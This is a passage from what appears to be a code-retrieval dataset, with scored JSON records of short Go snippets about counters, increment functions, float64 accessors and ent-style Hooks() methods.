strconvutil.ParseInt64(curIDVal)\n\tif getErr != nil {\n\t\treturn -1, errors.DataBroken(key, getErr)\n\t}\n\n\tmaxID := curID + int64(size)\n\tmaxIDVal := fmt.Sprintf(\"%d\", maxID)\n\n\t_, getErr = inc.kv.db.Txn(context.TODO()).\n\t\tIf(clientv3.Compare(clientv3.Value(key), \"=\", curIDVal)).\n\t\tThen(clientv3.OpPut(key, maxIDVal)).\n\t\tCommit()\n\n\tif getErr != nil {\n\t\treturn -1, getErr\n\t}\n\n\treturn maxID, nil\n}", "title": "" }, { "docid": "a2230a231d7cabf03b44814b19bef059", "score": "0.49351323", "text": "func Float64(key string, value float64) Field {\n\treturn NewField(key, func(encoder Encoder) {\n\t\tencoder.AddFloat64(key, value)\n\t})\n}", "title": "" }, { "docid": "49e2f3d24b1297e763955a1d8b576141", "score": "0.49271312", "text": "func incrGlobalOffset(\n\tctx context.Context,\n\ttx *sql.Tx,\n\tn uint64,\n) (uint64, error) {\n\t// insert or update both cause the row to be locked in tx\n\tinserted, err := sqlutil.ExecInsertOrUpdate(\n\t\tctx,\n\t\ttx,\n\t\t`INSERT INTO ax_messagestore_offset SET\n\t\t\tnext = ?\n\t\tON DUPLICATE KEY UPDATE\n\t\t\tnext = next + VALUE(next)`,\n\t\tn,\n\t)\n\tif err != nil {\n\t\treturn 0, nil\n\t}\n\n\tif inserted {\n\t\treturn 0, nil\n\t}\n\n\tvar next uint64\n\terr = tx.QueryRowContext(\n\t\tctx,\n\t\t`SELECT\n\t\t\tnext\n\t\tFROM ax_messagestore_offset`,\n\t).Scan(\n\t\t&next,\n\t)\n\n\treturn next - n, err\n}", "title": "" }, { "docid": "f2889d9494daeea306430e6d7b0727df", "score": "0.49150333", "text": "func Incr(key string) error {\n\treturn Cache.Incr(nil,key)\n}", "title": "" }, { "docid": "f849a1050ab590ecbe2f24e5a6172f21", "score": "0.491149", "text": "func (i BytesKey) Inc() BytesKey {\n\treturn BytesKey(IncrementBytes(i))\n}", "title": "" }, { "docid": "c68f26944025725d37b44825dbe0413b", "score": "0.49006632", "text": "func (c *Counter) Increment() int64 {\n\treturn atomic.AddInt64(&c.value, 1)\n}", "title": "" }, { "docid": "7af7d2b764cedf8c9f091521af1048a3", "score": "0.48994732", "text": "func (c *SafeCounter) Inc(key string) {\n\tc.mux.Lock()\n\t// Lock so only one goroutine at a time can access the map c.v.\n\tc.v[key]++\n\tc.mux.Unlock()\n\tc.wg.Done()\n}", "title": "" }, { "docid": "45faa8410a8571be142777f50b1c2f43", "score": "0.48937246", "text": "func (p4 *impl) KeyInc(key string) (string, error) {\n\tcb := keycb{}\n\terr := p4.runCmdCb(&cb, \"key\", \"-i\", key)\n\tif err != nil {\n\t\treturn \"0\", err\n\t}\n\tif v, ok := cb[key]; ok {\n\t\treturn v, nil\n\t}\n\treturn \"0\", ErrKeyNotFound\n}", "title": "" }, { "docid": "53d5c118ef92b5556544e83556b97c9e", "score": "0.48930722", "text": "func (s *VectorClock) Increment(nodeId string) {\n\tval, _ := strconv.Atoi(nodeId)\n\t(*s).Clocks[val] += 1\n}", "title": "" }, { "docid": "529724ee8b308acef7fabdace893bfdf", "score": "0.48919374", "text": "func (c *LRUCounter) Incr(key interface{}, value int64) {\n\tc.Lock()\n\tif vv, ok := c.Get(key); ok {\n\t\tvalue += vv\n\t}\n\tc.lru.Set(key, value)\n\tc.Unlock()\n}", "title": "" }, { "docid": "d29656ed85d5a93d334df1fd8a49185f", "score": "0.48852468", "text": "func incr() {\n\tlock.Lock()\n\tdefer lock.Unlock()\n\n\tcounter++\n\tfmt.Println(counter)\n}", "title": "" }, { "docid": "70530ab1ed2ed47df50d0102b6f24584", "score": "0.48779693", "text": "func (c *IntegerCounter) Increment() {\n\tatomic.AddInt64((*int64)(c), 1)\n}", "title": "" }, { "docid": "60cef51786c1ad4c1e309980cd006ad4", "score": "0.48772088", "text": "func (hb *HistogramBin) incr(amount uint64) {\n\tatomic.AddUint64(&hb._count, amount)\n}", "title": "" }, { "docid": "52f047f8d78347cbbf08085993f1a2e3", "score": "0.487056", "text": "func (dq *LIFO) SetKey(id int64, k float64) {}", "title": "" }, { "docid": "e8d0265a26536cb41aca9bf7479a469b", "score": "0.48686528", "text": "func (c *safeCounter) Inc(key string) {\n\tc.mux.Lock()\n\t// Lock so only one goroutine at a time can access the map c.v.\n\tc.v[key]++\n\tc.mux.Unlock()\n}", "title": "" }, { "docid": "06cc3ac819329ed12b1a9891a76b8074", "score": "0.48681596", "text": "func TestIncrementDecrementKey(t *testing.T) {\n\tt.Parallel()\n\n\tprivKey, err := btcec.NewPrivateKey(btcec.S256())\n\trequire.NoError(t, err)\n\n\trandomStartBatchKey := privKey.PubKey()\n\n\t// Increment the key numOperations times.\n\tcurrentKey := randomStartBatchKey\n\tfor i := 0; i < numOperations; i++ {\n\t\tcurrentKey = IncrementKey(currentKey)\n\t}\n\n\t// Decrement the key again.\n\tfor i := 0; i < numOperations; i++ {\n\t\tcurrentKey = DecrementKey(currentKey)\n\t}\n\n\t// We should arrive at the same start key again.\n\trequire.Equal(t, randomStartBatchKey, currentKey)\n}", "title": "" }, { "docid": "216805c3d57c09ae22ce04ffb6e7f64d", "score": "0.4866027", "text": "func (d *DogStatsD) Increment(name string, tags []string, rate float64) {\n\terr := d.client.Incr(name, tags, rate)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n}", "title": "" }, { "docid": "ce9b5ee209f37b0c24bbd11f61dcef76", "score": "0.48643267", "text": "func AddInt64(val *int64, delta int64) (new int64)", "title": "" }, { "docid": "b35cd2ceb1bc29b352b4d97e11d62ac8", "score": "0.4857188", "text": "func RecordFloat64(ctx context.Context, mf *MeasureFloat64, v float64) {\n\treq := &recordFloat64Req{\n\t\tnow: time.Now(),\n\t\tts: tags.FromContext(ctx),\n\t\tmf: mf,\n\t\tv: v,\n\t}\n\tdefaultWorker.c <- req\n}", "title": "" }, { "docid": "8b166f81fa9164f60d87da5ca7a79b99", "score": "0.48547474", "text": "func TestFloatInAccuracy(t *testing.T) {\n\tt.Parallel()\n\n\ti32 := 1 << 24\n\tp := newValueProvider(i32)\n\tvar f32 float32\n\trequire.NoError(t, p.Get(Root).Populate(&f32))\n\trequire.Equal(t, f32, float32(i32))\n\trequire.Equal(t, f32, float32(i32+1))\n\n\tvar i64 int64 = 1 << 53\n\tp = newValueProvider(i64)\n\tvar f64 float64\n\trequire.NoError(t, p.Get(Root).Populate(&f64))\n\trequire.Equal(t, f64, float64(i64))\n\trequire.Equal(t, f64, float64(i64+1))\n}", "title": "" }, { "docid": "76220008daa3941c361c9e9d5d6025d1", "score": "0.4845143", "text": "func (s *session) GetFloat64(key string) float64 {\n\tif s.isEmpty(s.session.Values[key]) {\n\t\treturn 0\n\t}\n\treturn s.session.Values[key].(float64)\n}", "title": "" }, { "docid": "7185063ddab768168982dcf616d91b25", "score": "0.48441458", "text": "func Float64(key string, value float64) Field {\n\treturn Field{Key: key, IValue: int64(math.Float64bits(value)), Kind: KIND_TYPE_FLOAT_64}\n}", "title": "" }, { "docid": "2b3c2b1c82774b4955512020dd21af0e", "score": "0.48420107", "text": "func (t *Int64) Add(delta int64) int64 {\n return atomic.AddInt64(&t.value, delta)\n}", "title": "" }, { "docid": "23f7c9346aaac23519f174e4da3fa346", "score": "0.48356947", "text": "func (m *MockAdapter) IncrByFloat(key string, value float64) (float64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"IncrByFloat\", key, value)\n\tret0, _ := ret[0].(float64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "bba9e6ef3deedc23cf0aa9b1b707af83", "score": "0.4834528", "text": "func (idx *Iterator) increment() {\n\tatomic.AddInt64(&idx.count, 1)\n}", "title": "" }, { "docid": "ef5abd9851a72ac1c708f87cf12d16e0", "score": "0.483386", "text": "func (m CounterMap) Increment(key string) {\n\tif key != \"\" {\n\t\tval := m[key]\n\t\tm[key] = val + 1\n\t}\n}", "title": "" }, { "docid": "6d4592c7e68b57af0e4e7376cd7809b6", "score": "0.48217458", "text": "func (m *MockKeyValue) AddUint64(key string, value uint64) {\n\tm.Values[key] = value\n}", "title": "" }, { "docid": "a8c3ee8c0327cd00d749323d6d8bd3fc", "score": "0.4820225", "text": "func (ac *Accumulator) Increment() {\n\tac.Lock()\n\tdefer ac.Unlock()\n\tac.acc++\n\tac.incr++\n}", "title": "" }, { "docid": "09c448dd66cadb9481cafc9db5c3cf79", "score": "0.48098454", "text": "func (h H) GetFloat64(key string) float64 {\n\tif h == nil {\n\t\treturn 0\n\t}\n\n\tv, _ := h[key].(float64)\n\treturn v\n}", "title": "" } ]
b3eab99c71825f74fbc17796f29d0784
Hooks implements the Hookser interface.
[ { "docid": "bed1b26366781485f20b4f8d63bc3939", "score": "0.6796157", "text": "func (w *jsonLoad) Hooks() workload.Hooks {\n\treturn workload.Hooks{\n\t\tValidate: func() error {\n\t\t\tif w.computed && w.inverted {\n\t\t\t\treturn errors.Errorf(\"computed and inverted cannot be used together\")\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n}", "title": "" } ]
[ { "docid": "307852272db5e6e414a368d04266eead", "score": "0.7177183", "text": "func (tx *Tx) Hooks(hooks ...func()) {\n\ttx.hooks = append(tx.hooks, hooks...)\n}", "title": "" }, { "docid": "7ccd55e90b5b6256a29ce3ff63f86daa", "score": "0.70844686", "text": "func (s *hookLister) Hooks(namespace string) HookNamespaceLister {\n\treturn hookNamespaceLister{indexer: s.indexer, namespace: namespace}\n}", "title": "" }, { "docid": "84cd82d62fdd141981a8b57406b76372", "score": "0.6898894", "text": "func (v *version) Hooks() HookInformer {\n\treturn &hookInformer{factory: v.factory, namespace: v.namespace, tweakListOptions: v.tweakListOptions}\n}", "title": "" }, { "docid": "93f462f5f1f7b1bca90eec915ac31457", "score": "0.6878415", "text": "func (c *UnitOfMedicineClient) Hooks() []Hook {\n\treturn c.hooks.UnitOfMedicine\n}", "title": "" }, { "docid": "159d3d189fea994e50a2620910f897c8", "score": "0.67865986", "text": "func (c *EmployeeClient) Hooks() []Hook {\n\treturn c.hooks.Employee\n}", "title": "" }, { "docid": "159d3d189fea994e50a2620910f897c8", "score": "0.67865986", "text": "func (c *EmployeeClient) Hooks() []Hook {\n\treturn c.hooks.Employee\n}", "title": "" }, { "docid": "159d3d189fea994e50a2620910f897c8", "score": "0.67865986", "text": "func (c *EmployeeClient) Hooks() []Hook {\n\treturn c.hooks.Employee\n}", "title": "" }, { "docid": "6666c7d7e3647ea4fda5399045614c56", "score": "0.6777036", "text": "func (c *TagClient) Hooks() []Hook {\n\treturn c.hooks.Tag\n}", "title": "" }, { "docid": "14af6f292ec28880390cbd00aca4433a", "score": "0.67704076", "text": "func (k Keeper) Hooks() Hooks {\n\treturn Hooks{k}\n}", "title": "" }, { "docid": "14af6f292ec28880390cbd00aca4433a", "score": "0.67704076", "text": "func (k Keeper) Hooks() Hooks {\n\treturn Hooks{k}\n}", "title": "" }, { "docid": "14af6f292ec28880390cbd00aca4433a", "score": "0.67704076", "text": "func (k Keeper) Hooks() Hooks {\n\treturn Hooks{k}\n}", "title": "" }, { "docid": "14af6f292ec28880390cbd00aca4433a", "score": "0.67704076", "text": "func (k Keeper) Hooks() Hooks {\n\treturn Hooks{k}\n}", "title": "" }, { "docid": "de2d1d56ed8d925e11cd98007380ce39", "score": "0.67394096", "text": "func (c *OperationClient) Hooks() []Hook {\n\treturn c.hooks.Operation\n}", "title": "" }, { "docid": "c4e49aff359fe04c5a24321a8ce791d0", "score": "0.6729403", "text": "func (c *PetClient) Hooks() []Hook {\n\treturn c.hooks.Pet\n}", "title": "" }, { "docid": "7573208dd892a7140b749742ec934dd6", "score": "0.66682875", "text": "func (c *MedicineClient) Hooks() []Hook {\n\treturn c.hooks.Medicine\n}", "title": "" }, { "docid": "180bf7b59b43dacb1fc14c1c4ce7c4cc", "score": "0.66521424", "text": "func (c *OperativeClient) Hooks() []Hook {\n\treturn c.hooks.Operative\n}", "title": "" }, { "docid": "419709078848d3a37a31f5096d423963", "score": "0.66483504", "text": "func (c *BillClient) Hooks() []Hook {\n\treturn c.hooks.Bill\n}", "title": "" }, { "docid": "419709078848d3a37a31f5096d423963", "score": "0.66483504", "text": "func (c *BillClient) Hooks() []Hook {\n\treturn c.hooks.Bill\n}", "title": "" }, { "docid": "419709078848d3a37a31f5096d423963", "score": "0.66483504", "text": "func (c *BillClient) Hooks() []Hook {\n\treturn c.hooks.Bill\n}", "title": "" }, { "docid": "6d5eee758366ba1ee1ac51fae00cd9da", "score": "0.66409326", "text": "func (b *bank) Hooks() workload.Hooks {\n\treturn workload.Hooks{\n\t\tValidate: func() error {\n\t\t\tif b.rows < b.ranges {\n\t\t\t\treturn errors.Errorf(\n\t\t\t\t\t\"Value of 'rows' (%d) must be greater than or equal to value of 'ranges' (%d)\",\n\t\t\t\t\tb.rows, b.ranges)\n\t\t\t}\n\t\t\tif b.batchSize <= 0 {\n\t\t\t\treturn errors.Errorf(`Value of batch-size must be greater than zero; was %d`, b.batchSize)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n}", "title": "" }, { "docid": "1222e5bc4c9beb6dd35415bba3aed20b", "score": "0.6638124", "text": "func (c *PetruleClient) Hooks() []Hook {\n\treturn c.hooks.Petrule\n}", "title": "" }, { "docid": "0e59a2ce516a425671f3d198b6f19805", "score": "0.6630656", "text": "func (c *RentalstatusClient) Hooks() []Hook {\n\treturn c.hooks.Rentalstatus\n}", "title": "" }, { "docid": "9fa08d0078c4e40c6c5bf37124e18167", "score": "0.662481", "text": "func (c *SkillClient) Hooks() []Hook {\n\treturn c.hooks.Skill\n}", "title": "" }, { "docid": "4467d49ce0228af310197433158476aa", "score": "0.662457", "text": "func (c *WorkExperienceClient) Hooks() []Hook {\n\treturn c.hooks.WorkExperience\n}", "title": "" }, { "docid": "99781b12a74a16fe881e6701b60b2439", "score": "0.662147", "text": "func (c *DentistClient) Hooks() []Hook {\n\treturn c.hooks.Dentist\n}", "title": "" }, { "docid": "cbac7f360e6197d2ccf1d6216e0ea9a7", "score": "0.6621127", "text": "func (c *PostClient) Hooks() []Hook {\n\treturn c.hooks.Post\n}", "title": "" }, { "docid": "a38111842affb346e0cdef4b9d8bff62", "score": "0.66091985", "text": "func (c *BookingClient) Hooks() []Hook {\n\treturn c.hooks.Booking\n}", "title": "" }, { "docid": "f1f1647ca8c2dff3cc734ab0e7ec880d", "score": "0.6606743", "text": "func (c *OperationroomClient) Hooks() []Hook {\n\treturn c.hooks.Operationroom\n}", "title": "" }, { "docid": "5423a3b7c4ad6680dd092b78bcb1fa66", "score": "0.65993345", "text": "func (s *TalkScraper) Hooks() []scraper.Hook {\n\treturn []scraper.Hook{\n\t\t{\n\t\t\tDOMPath: \".container h1.mb-4\",\n\t\t\tHandler: onTalkTitle,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".col-auto.text-muted\",\n\t\t\tHandler: onTalkDate,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".deck-description.mb-4 p\",\n\t\t\tHandler: onTalkDescription,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".speakerdeck-embed\",\n\t\t\tHandler: onTalkDataID,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".deck-meta .col-md-auto .row > div:nth-child(1) a\",\n\t\t\tHandler: onTalkCategory,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".deck-meta .col-md-auto .row > div:nth-child(2) a\",\n\t\t\tHandler: onTalkStars,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".deck-meta .col-md-auto .row > div:nth-child(3) span[title]\",\n\t\t\tHandler: onTalkViews,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".deck-meta .col-md-auto .row > div:nth-child(4) a\",\n\t\t\tHandler: onTalkDownloadLink,\n\t\t},\n\t\t{\n\t\t\tDOMPath: \".deck-meta .col-md-auto .row > a:nth-child(1)\",\n\t\t\tHandler: onTalkAuthor,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "470eff95876a5caf2d94a0a2d6e97f83", "score": "0.6588528", "text": "func (c *StatusdClient) Hooks() []Hook {\n\treturn c.hooks.Statusd\n}", "title": "" }, { "docid": "7d07657f30b5a063b6aa3c8e90912d76", "score": "0.6583032", "text": "func (c *AppointmentClient) Hooks() []Hook {\n\treturn c.hooks.Appointment\n}", "title": "" }, { "docid": "86980d2dd76399f5b6cfea80f988d767", "score": "0.6581906", "text": "func (r *Resource) runHooks(params *Params) error {\n\tfor _, h := range r.Hooks {\n\t\tif err := h(params); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "af69d28af78bf22a7ccb1f4c687d32f6", "score": "0.65545106", "text": "func (c *FacultyClient) Hooks() []Hook {\n\treturn c.hooks.Faculty\n}", "title": "" }, { "docid": "11a937c059c71edab99e65b5bfbf4c24", "score": "0.6550687", "text": "func (c *RepairinvoiceClient) Hooks() []Hook {\n\treturn c.hooks.Repairinvoice\n}", "title": "" }, { "docid": "2a0fcf7683bf780ddccf7e48aee334a8", "score": "0.6539569", "text": "func (c *PatientClient) Hooks() []Hook {\n\treturn c.hooks.Patient\n}", "title": "" }, { "docid": "2a0fcf7683bf780ddccf7e48aee334a8", "score": "0.6539569", "text": "func (c *PatientClient) Hooks() []Hook {\n\treturn c.hooks.Patient\n}", "title": "" }, { "docid": "2a0fcf7683bf780ddccf7e48aee334a8", "score": "0.6539569", "text": "func (c *PatientClient) Hooks() []Hook {\n\treturn c.hooks.Patient\n}", "title": "" }, { "docid": "c48b79d7424d990ad7038ae58065f616", "score": "0.65363646", "text": "func (c *ToolClient) Hooks() []Hook {\n\treturn c.hooks.Tool\n}", "title": "" }, { "docid": "07e072e89bd9b340ad30ed5290329ac8", "score": "0.65303683", "text": "func (c *TransactionClient) Hooks() []Hook {\n\treturn c.hooks.Transaction\n}", "title": "" }, { "docid": "3e24a834677787692e1e65245eb7d475", "score": "0.6530092", "text": "func (c *DispenseMedicineClient) Hooks() []Hook {\n\treturn c.hooks.DispenseMedicine\n}", "title": "" }, { "docid": "06694886830352d2c4c4a0baa032a68b", "score": "0.6529825", "text": "func (c *MealplanClient) Hooks() []Hook {\n\treturn c.hooks.Mealplan\n}", "title": "" }, { "docid": "69ecdabd08737a9949cc1ad18f2bd87c", "score": "0.6528313", "text": "func (c *NurseClient) Hooks() []Hook {\n\treturn c.hooks.Nurse\n}", "title": "" }, { "docid": "5cc8055900fe32838a61222bba11d3c9", "score": "0.6525028", "text": "func (c *EventClient) Hooks() []Hook {\n\treturn c.hooks.Event\n}", "title": "" }, { "docid": "02cb1c48be7d923d30b06873d38f87eb", "score": "0.65249044", "text": "func (c *StatusRClient) Hooks() []Hook {\n\treturn c.hooks.StatusR\n}", "title": "" }, { "docid": "abf4a42b596cd51374a6a8b296e6fc52", "score": "0.6520761", "text": "func (c *PatientInfoClient) Hooks() []Hook {\n\treturn c.hooks.PatientInfo\n}", "title": "" }, { "docid": "70d051afad07bbfcde88d7fdb15ea2fd", "score": "0.65182376", "text": "func (c *EatinghistoryClient) Hooks() []Hook {\n\treturn c.hooks.Eatinghistory\n}", "title": "" }, { "docid": "8294d43041f3478d6330f966d6d2af1b", "score": "0.6513775", "text": "func (c *ReviewClient) Hooks() []Hook {\n\treturn c.hooks.Review\n}", "title": "" }, { "docid": "1ada35c135fc18f31b6f468c66420cbe", "score": "0.65127933", "text": "func (c *CleanernameClient) Hooks() []Hook {\n\treturn c.hooks.Cleanername\n}", "title": "" }, { "docid": "851b72da55597cbb5fac1868974c0610", "score": "0.6509179", "text": "func (c *BedtypeClient) Hooks() []Hook {\n\treturn c.hooks.Bedtype\n}", "title": "" }, { "docid": "d52f70cade53f2468ba5da12e6534d18", "score": "0.6497965", "text": "func (c *StatustClient) Hooks() []Hook {\n\treturn c.hooks.Statust\n}", "title": "" }, { "docid": "e00e1e9e5ca2f5860438adffa6a6a90c", "score": "0.6490717", "text": "func (c *JobpositionClient) Hooks() []Hook {\n\treturn c.hooks.Jobposition\n}", "title": "" }, { "docid": "a2a3d615ade156153f424dc91270203e", "score": "0.6488137", "text": "func (c *PlanetClient) Hooks() []Hook {\n\treturn c.hooks.Planet\n}", "title": "" }, { "docid": "4d4d44c631c977002520a4c29465e1f6", "score": "0.6487124", "text": "func (c *PharmacistClient) Hooks() []Hook {\n\treturn c.hooks.Pharmacist\n}", "title": "" }, { "docid": "004288d1f1d3d8d905fe8141b7c3369e", "score": "0.6486899", "text": "func (c *PartClient) Hooks() []Hook {\n\treturn c.hooks.Part\n}", "title": "" }, { "docid": "2f3e7b84de0d06ed14a3ac0ed04cd69f", "score": "0.64858556", "text": "func (c *VeterinarianClient) Hooks() []Hook {\n\treturn c.hooks.Veterinarian\n}", "title": "" }, { "docid": "72bc884c2c814ba155518c4a479228a3", "score": "0.64847225", "text": "func (c *ExaminationroomClient) Hooks() []Hook {\n\treturn c.hooks.Examinationroom\n}", "title": "" }, { "docid": "897b71ee70c2c48bfd22b32f709c3006", "score": "0.6480022", "text": "func (c *PrescriptionClient) Hooks() []Hook {\n\treturn c.hooks.Prescription\n}", "title": "" }, { "docid": "f9b4fab24408d23f019d2a7f5c621fa9", "score": "0.6472223", "text": "func (c *SituationClient) Hooks() []Hook {\n\treturn c.hooks.Situation\n}", "title": "" }, { "docid": "f0b0145b068fded9ce4d76ecdc3c9182", "score": "0.6466742", "text": "func (c *ComplaintClient) Hooks() []Hook {\n\treturn c.hooks.Complaint\n}", "title": "" }, { "docid": "f7ceaed76467ada45147cf1f2bd64322", "score": "0.6458688", "text": "func (c *OperativerecordClient) Hooks() []Hook {\n\treturn c.hooks.Operativerecord\n}", "title": "" }, { "docid": "11d3973edc489974104181a057a58f00", "score": "0.6458152", "text": "func (c *DepositClient) Hooks() []Hook {\n\treturn c.hooks.Deposit\n}", "title": "" }, { "docid": "884734c13b09e2ba45872578f026e407", "score": "0.6455503", "text": "func (c *DoctorClient) Hooks() []Hook {\n\treturn c.hooks.Doctor\n}", "title": "" }, { "docid": "170f83bd66a04e6078d6ef4431edd074", "score": "0.645202", "text": "func (c *PhysicianClient) Hooks() []Hook {\n\treturn c.hooks.Physician\n}", "title": "" }, { "docid": "170f83bd66a04e6078d6ef4431edd074", "score": "0.645202", "text": "func (c *PhysicianClient) Hooks() []Hook {\n\treturn c.hooks.Physician\n}", "title": "" }, { "docid": "136c4d15a319f08e0176d81a71c3033c", "score": "0.6450554", "text": "func (c *UsertypeClient) Hooks() []Hook {\n\treturn c.hooks.Usertype\n}", "title": "" }, { "docid": "b6043b5091ea8207f910d6a1a4bf83e1", "score": "0.64465046", "text": "func (c *TimerClient) Hooks() []Hook {\n\treturn c.hooks.Timer\n}", "title": "" }, { "docid": "7b4c093bbb4ee78889c2640bb9073524", "score": "0.64460653", "text": "func (c *DrugAllergyClient) Hooks() []Hook {\n\treturn c.hooks.DrugAllergy\n}", "title": "" }, { "docid": "5c629c7508fdabeb1c36ccea6cce8801", "score": "0.6440961", "text": "func (c *OrderClient) Hooks() []Hook {\n\treturn c.hooks.Order\n}", "title": "" }, { "docid": "ddd912a30990d74696f14b5070d8fa3f", "score": "0.6435663", "text": "func (c *ReturninvoiceClient) Hooks() []Hook {\n\treturn c.hooks.Returninvoice\n}", "title": "" }, { "docid": "1eda4cee473eb6e9486b3758df7a508b", "score": "0.6417913", "text": "func (c *FoodmenuClient) Hooks() []Hook {\n\treturn c.hooks.Foodmenu\n}", "title": "" }, { "docid": "2e60900b550b7a58f57a4830a6350c17", "score": "0.6416894", "text": "func (c *BuildingClient) Hooks() []Hook {\n\treturn c.hooks.Building\n}", "title": "" }, { "docid": "4f28501b28c03a2030613b9c3baec4c5", "score": "0.6416219", "text": "func (c *RepairInvoiceClient) Hooks() []Hook {\n\treturn c.hooks.RepairInvoice\n}", "title": "" }, { "docid": "a57c55a6fea8f73d40fab17102fad2bd", "score": "0.6413829", "text": "func (c *DNSBLResponseClient) Hooks() []Hook {\n\treturn c.hooks.DNSBLResponse\n}", "title": "" }, { "docid": "76475b658259d94db63458d534992a2c", "score": "0.6413473", "text": "func (c *BeerClient) Hooks() []Hook {\n\treturn c.hooks.Beer\n}", "title": "" }, { "docid": "4abb5c9eee2156ce42da1d267a7400c1", "score": "0.6410187", "text": "func (c *StaytypeClient) Hooks() []Hook {\n\treturn c.hooks.Staytype\n}", "title": "" }, { "docid": "2747dd6d2b6dca0cf18e580cb7532b45", "score": "0.6409763", "text": "func (c *PostThumbnailClient) Hooks() []Hook {\n\treturn c.hooks.PostThumbnail\n}", "title": "" }, { "docid": "6df9b4095249af9506494eed9143f473", "score": "0.6402431", "text": "func (c *LengthtimeClient) Hooks() []Hook {\n\treturn c.hooks.Lengthtime\n}", "title": "" }, { "docid": "10168405c9e76d4bf4dfb8e0d3efd588", "score": "0.640093", "text": "func (c *MedicineTypeClient) Hooks() []Hook {\n\treturn c.hooks.MedicineType\n}", "title": "" }, { "docid": "fd37443e58aa8bc8d91b2e1b1dda761f", "score": "0.63987803", "text": "func (c *PartorderClient) Hooks() []Hook {\n\treturn c.hooks.Partorder\n}", "title": "" }, { "docid": "975c9710738a67fd8dd13b71f1b70841", "score": "0.63982177", "text": "func (c *LeaseClient) Hooks() []Hook {\n\treturn c.hooks.Lease\n}", "title": "" }, { "docid": "f8df42ac569e80219d833bd6d985f576", "score": "0.6381652", "text": "func (c *ClubappStatusClient) Hooks() []Hook {\n\treturn c.hooks.ClubappStatus\n}", "title": "" }, { "docid": "518b11d7bd3f638fd76627ffef957d94", "score": "0.6377475", "text": "func (c *PatientofphysicianClient) Hooks() []Hook {\n\treturn c.hooks.Patientofphysician\n}", "title": "" }, { "docid": "a35009cca634bd2e930368a771439263", "score": "0.6376658", "text": "func hooksRun(hooks []string, data interface{}) {\n\tfor _, h := range hooks {\n\t\tswitch hookParseType(h) {\n\t\tcase \"web\":\n\t\t\thookPerformWebPOST(h, data)\n\t\tcase \"script\":\n\t\t\thookPerformScriptExecute(h, data)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "6c85d4a54d3576f21b680b5648738573", "score": "0.63742507", "text": "func (c *YearClient) Hooks() []Hook {\n\treturn c.hooks.Year\n}", "title": "" }, { "docid": "e631e2bd3911d995fa7bc05fc462112f", "score": "0.63662374", "text": "func (c *RoomdetailClient) Hooks() []Hook {\n\treturn c.hooks.Roomdetail\n}", "title": "" }, { "docid": "6bc0bc4833a808bcf1e35cc117b93ffc", "score": "0.6360634", "text": "func (c *DepartmentClient) Hooks() []Hook {\n\treturn c.hooks.Department\n}", "title": "" }, { "docid": "3c36d5083c5cf183482786e03d902008", "score": "0.63599384", "text": "func (r *Redis) Hooks() (hooks data.Hooks) {\n\treturn r\n}", "title": "" }, { "docid": "c3a66dce3b45a500e71c7f31a0f0e54f", "score": "0.6359291", "text": "func (c *PatientroomClient) Hooks() []Hook {\n\treturn c.hooks.Patientroom\n}", "title": "" }, { "docid": "750255d727a7e5a25e51390ca43c3fbc", "score": "0.6357547", "text": "func (c *JobClient) Hooks() []Hook {\n\treturn c.hooks.Job\n}", "title": "" }, { "docid": "0643366bfdd3ac31de4a5b09dd17483e", "score": "0.63559824", "text": "func Hook() ent.Hook {\n\topsProcessedTotal := initOpsProcessedTotal()\n\topsProcessedError := initOpsProcessedError()\n\topsDuration := initOpsDuration()\n\treturn func(next ent.Mutator) ent.Mutator {\n\t\treturn ent.MutateFunc(func(ctx context.Context, m ent.Mutation) (ent.Value, error) {\n\t\t\t// Before mutation, start measuring time.\n\t\t\tstart := time.Now()\n\t\t\t// Extract dynamic labels from mutation.\n\t\t\tlabels := prometheus.Labels{mutationType: m.Type(), mutationOp: m.Op().String()}\n\t\t\t// Increment total ops counter.\n\t\t\topsProcessedTotal.With(labels).Inc()\n\t\t\t// Execute mutation.\n\t\t\tv, err := next.Mutate(ctx, m)\n\t\t\tif err != nil {\n\t\t\t\t// In case of error increment error counter.\n\t\t\t\topsProcessedError.With(labels).Inc()\n\t\t\t}\n\t\t\t// Stop time measure.\n\t\t\tduration := time.Since(start)\n\t\t\t// Record duration in seconds.\n\t\t\topsDuration.With(labels).Observe(duration.Seconds())\n\t\t\treturn v, err\n\t\t})\n\t}\n}", "title": "" }, { "docid": "2c282c39a49bd24108a37f1b72d863ae", "score": "0.6353567", "text": "func (c *PositionInPharmacistClient) Hooks() []Hook {\n\treturn c.hooks.PositionInPharmacist\n}", "title": "" }, { "docid": "1253bb144827f2db5a6b6d0b1ca69456", "score": "0.6352005", "text": "func (c *AnnotationClient) Hooks() []Hook {\n\treturn c.hooks.Annotation\n}", "title": "" }, { "docid": "2ffe954c0d3acab48528efd652023125", "score": "0.6351549", "text": "func (c *ClubClient) Hooks() []Hook {\n\treturn c.hooks.Club\n}", "title": "" }, { "docid": "e88e6ccb423ad1c10b491e09e52c5e7d", "score": "0.6347566", "text": "func (c *TitleClient) Hooks() []Hook {\n\treturn c.hooks.Title\n}", "title": "" }, { "docid": "b61ced5669407ecad61077d297a8c872", "score": "0.6344299", "text": "func HookHandlers(base *gin.RouterGroup) {\n\t// Hooks endpoints\n\thooks := base.Group(\"/hooks/:org/:repo\", repo.Establish())\n\t{\n\t\thooks.POST(\"\", perm.MustPlatformAdmin(), api.CreateHook)\n\t\thooks.GET(\"\", perm.MustRead(), api.GetHooks)\n\t\thooks.GET(\"/:hook\", perm.MustRead(), api.GetHook)\n\t\thooks.PUT(\"/:hook\", perm.MustPlatformAdmin(), api.UpdateHook)\n\t\thooks.DELETE(\"/:hook\", perm.MustPlatformAdmin(), api.DeleteHook)\n\t} // end of hooks endpoints\n}", "title": "" }, { 